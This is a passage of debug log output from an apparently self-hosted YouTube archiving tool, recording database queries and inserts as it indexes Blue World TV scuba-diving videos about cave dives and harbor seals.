Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n1:40 Meeting up with Robbie\n4:40 The Dive\n12:56 Heading back\n13:44 Summary\n14:07 Credits", "Two Divers go into a CAVE...with a gadget?", "10646886-9abe-4d32-82a2-3e0628cd77dd", "55GGIDpWOqY", false, "https://www.youtube.com/watch?v=55GGIDpWOqY", 34, [], 868, false, 4, "/downloads/rory/BlueWorldTV/2026-03-07 Two Divers go into a CAVE...with a gadget?/Two Divers go into a CAVE...with a gadget? [55GGIDpWOqY].mp4", false, false, 98, ~U[2026-03-07 15:00:08Z], ~U[2026-06-03 23:02:51Z], ~U[2026-06-03 23:02:51Z], "Jonathan and Todd were hoping to do a dive with world-renown cave explorer Robbie Schmittner...but Robbie forgot his drysuit. So handed them a strange device called a Mnemo and sent them into the cave alone. Here's what happened!\n\nWARNING Cave diving is incredibly dangerous. Do not attempt to dive in caves without proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n1:40 Meeting up with Robbie\n4:40 The Dive\n12:56 Heading back\n13:44 Summary\n14:07 Credits", "Two Divers go into a CAVE...with a gadget?", "55GGIDpWOqY", "https://www.youtube.com/watch?v=55GGIDpWOqY", 34, 868, false, "/downloads/rory/BlueWorldTV/2026-03-07 Two Divers go into a CAVE...with a gadget?/Two Divers go into a CAVE...with a gadget? [55GGIDpWOqY].mp4", false, ~U[2026-03-07 15:00:08Z]] 19:02:51.277 [debug] QUERY OK source="sources" db=0.2ms idle=39.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:51.278 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:51.278 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119019] 19:02:51.278 [debug] Current batch of media processed. Will check again in 1000ms 19:02:52.279 [debug] Current batch of media processed. Will check again in 1000ms 19:02:53.280 [debug] Current batch of media processed. Will check again in 1000ms 19:02:54.282 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Camerawoman Christine (AKA \"The Boss\") travel to Monterey, California on a mission to film seals for a documentary that they are producing. With the help of Dane Durand from Aquarius Dive Shop, they go in search of Harbor seals, by day and night. Along the way they get to experience the amazing diving of Monterey Bay with kelp forests, lush gardens of anemones and all kinds of creatures!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seals #monterey \n\nChapters:\n0:00 Intro\n0:47 Arrival at Aquarius Dive Shop\n2:30 First Dive\n4:50 First Seals Arrive\n8:00 Second Dive\n10:54 Sea Lions on the Pier\n12:44 Night Dive\n18:15 Summary/Credits", "duration" => 1151, "filename" => "/downloads/rory/BlueWorldTV/2026-02-07 Diving with the HARBOR SEALS of Monterey Bay!/Diving with the HARBOR SEALS of Monterey Bay! [PkZk6395-xI].mp4", "id" => "PkZk6395-xI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=PkZk6395-xI", "playlist_index" => 5, "timestamp" => 1770476451, "title" => "Diving with the HARBOR SEALS of Monterey Bay!", "upload_date" => "20260207"} 19:02:54.283 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1584.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:54.284 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1585.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:54.287 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=1586.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-07 15:00:51Z], 34] 19:02:54.288 [debug] QUERY OK source="media_items" db=0.9ms idle=1047.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Camerawoman Christine (AKA \"The Boss\") travel to Monterey, California on a mission to film seals for a documentary that they are producing. With the help of Dane Durand from Aquarius Dive Shop, they go in search of Harbor seals, by day and night. Along the way they get to experience the amazing diving of Monterey Bay with kelp forests, lush gardens of anemones and all kinds of creatures!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seals #monterey \n\nChapters:\n0:00 Intro\n0:47 Arrival at Aquarius Dive Shop\n2:30 First Dive\n4:50 First Seals Arrive\n8:00 Second Dive\n10:54 Sea Lions on the Pier\n12:44 Night Dive\n18:15 Summary/Credits", "Diving with the HARBOR SEALS of Monterey Bay!", "a30e1c58-c123-41ff-8fb3-8274c7742337", "PkZk6395-xI", false, "https://www.youtube.com/watch?v=PkZk6395-xI", 34, [], 1151, false, 5, "/downloads/rory/BlueWorldTV/2026-02-07 Diving with the HARBOR SEALS of Monterey Bay!/Diving with the HARBOR SEALS of Monterey Bay! [PkZk6395-xI].mp4", false, false, 98, ~U[2026-02-07 15:00:51Z], ~U[2026-06-03 23:02:54Z], ~U[2026-06-03 23:02:54Z], "Jonathan and Camerawoman Christine (AKA \"The Boss\") travel to Monterey, California on a mission to film seals for a documentary that they are producing. With the help of Dane Durand from Aquarius Dive Shop, they go in search of Harbor seals, by day and night. Along the way they get to experience the amazing diving of Monterey Bay with kelp forests, lush gardens of anemones and all kinds of creatures!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seals #monterey \n\nChapters:\n0:00 Intro\n0:47 Arrival at Aquarius Dive Shop\n2:30 First Dive\n4:50 First Seals Arrive\n8:00 Second Dive\n10:54 Sea Lions on the Pier\n12:44 Night Dive\n18:15 Summary/Credits", "Diving with the HARBOR SEALS of Monterey Bay!", "PkZk6395-xI", "https://www.youtube.com/watch?v=PkZk6395-xI", 34, 1151, false, "/downloads/rory/BlueWorldTV/2026-02-07 Diving with the HARBOR SEALS of Monterey Bay!/Diving with the HARBOR SEALS of Monterey Bay! [PkZk6395-xI].mp4", false, ~U[2026-02-07 15:00:51Z]] 19:02:54.288 [debug] QUERY OK source="sources" db=0.2ms idle=46.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:54.289 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:54.289 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119021] 19:02:54.289 [debug] Current batch of media processed. Will check again in 1000ms 19:02:55.290 [debug] Current batch of media processed. Will check again in 1000ms 19:02:56.291 [debug] Current batch of media processed. Will check again in 1000ms 19:02:57.292 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd join cave biologists Fernando Calderon Gutierrez and Jairo Arroyave in a search for new forms of life in Aerolito Cenote on the island of Cozumel, just off the coast of the Yucatan peninsula in Mexico.\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather\n\nChapters:\n0:00 Tease/Open\n1:05 Arrive in Cozumel\n4:14 The Dive Begins\n10:55 Down Into the Basement\n15:16 Time to head back\n19:03 Summary and Credits", "duration" => 1245, "filename" => "/downloads/rory/BlueWorldTV/2026-01-03 Cave Diving for SCIENCE in Mexico!/Cave Diving for SCIENCE in Mexico! [Fr8gGoyL7gs].mp4", "id" => "Fr8gGoyL7gs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Fr8gGoyL7gs", "playlist_index" => 6, "timestamp" => 1767452425, "title" => "Cave Diving for SCIENCE in Mexico!", "upload_date" => "20260103"} 19:02:57.293 [debug] QUERY OK source="sources" db=0.2ms idle=1594.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:57.294 [debug] QUERY OK source="sources" db=0.2ms idle=1595.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:57.295 [debug] QUERY OK source="media_items" db=1.3ms idle=1595.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-03 15:00:25Z], 34] 19:02:57.297 [debug] QUERY OK source="media_items" db=1.5ms idle=1051.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd join cave biologists Fernando Calderon Gutierrez and Jairo Arroyave in a search for new forms of life in Aerolito Cenote on the island of Cozumel, just off the coast of the Yucatan peninsula in Mexico.\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather\n\nChapters:\n0:00 Tease/Open\n1:05 Arrive in Cozumel\n4:14 The Dive Begins\n10:55 Down Into the Basement\n15:16 Time to head back\n19:03 Summary and Credits", "Cave Diving for SCIENCE in Mexico!", "61c52410-b043-4bbc-9d4e-09ee84b3b924", "Fr8gGoyL7gs", false, "https://www.youtube.com/watch?v=Fr8gGoyL7gs", 34, [], 1245, false, 6, "/downloads/rory/BlueWorldTV/2026-01-03 Cave Diving for SCIENCE in Mexico!/Cave Diving for SCIENCE in Mexico! [Fr8gGoyL7gs].mp4", false, false, 98, ~U[2026-01-03 15:00:25Z], ~U[2026-06-03 23:02:57Z], ~U[2026-06-03 23:02:57Z], "Jonathan and Todd join cave biologists Fernando Calderon Gutierrez and Jairo Arroyave in a search for new forms of life in Aerolito Cenote on the island of Cozumel, just off the coast of the Yucatan peninsula in Mexico.\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather\n\nChapters:\n0:00 Tease/Open\n1:05 Arrive in Cozumel\n4:14 The Dive Begins\n10:55 Down Into the Basement\n15:16 Time to head back\n19:03 Summary and Credits", "Cave Diving for SCIENCE in Mexico!", "Fr8gGoyL7gs", "https://www.youtube.com/watch?v=Fr8gGoyL7gs", 34, 1245, false, "/downloads/rory/BlueWorldTV/2026-01-03 Cave Diving for SCIENCE in Mexico!/Cave Diving for SCIENCE in Mexico! [Fr8gGoyL7gs].mp4", false, ~U[2026-01-03 15:00:25Z]] 19:02:57.298 [debug] QUERY OK source="sources" db=0.2ms idle=51.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:57.298 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:57.299 [debug] QUERY OK source="media_items" db=0.3ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN 